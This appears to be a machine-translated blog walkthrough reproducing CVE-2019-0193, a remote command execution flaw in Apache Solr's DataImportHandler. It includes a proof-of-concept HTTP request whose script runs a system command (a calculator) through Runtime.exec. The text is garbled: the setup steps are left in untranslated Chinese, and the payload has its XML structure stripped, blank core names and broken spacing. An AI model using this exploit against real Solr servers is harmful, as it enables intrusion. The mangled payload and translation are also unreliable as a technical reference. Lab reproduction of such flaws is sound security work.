Example Analysis of CVE-2019-0193 vulnerability recurrence in Apache Solr remote Command execution
Today, I will talk to you about the example analysis of the recurrence of CVE-2019-0193 vulnerabilities in Apache Solr remote command execution. Many people may not know much about it. In order to make you understand better, the editor has summarized the following for you. I hope you can get something from this article.
0x01 scope of influence Apache Solr
< 8.2.00x02 环境搭建下载地址：https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip在本地解压，进入solr-7.7.2目录，执行命令bin/solr -e dih （前提：java环境）
Then visit http://localhost:8983/solr to access the environment
To exploit 0x03 vulnerabilities, we can first obtain all core information through the interface curl http://127.0.0.1:8983/solr/admin/cores. Next, we need name information to construct payload.
Send the following POC in Burp to execute the command pop-up calculator, the following needs to be replaced with the name of the core you obtained (a total of two places)
POST / solr//dataimport HTTP/1.1Host: 127.0.0.1:8983Content-Length: 763User-Agent: Mozilla/5.0Content-type: application/x-www-form-urlencodedConnection: close
Command=full-import&verbose=false&clean=false&commit=true&debug=true&core=&name=dataimport&dataConfig=function poc (row) {var process= java.lang.Runtime.getRuntime (); process.exec ("calc"); return row;}]] > the execution effect is as follows:
After reading the above, do you have any further understanding of the example analysis of the recurrence of CVE-2019-0193 vulnerabilities in Apache Solr remote command execution? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.
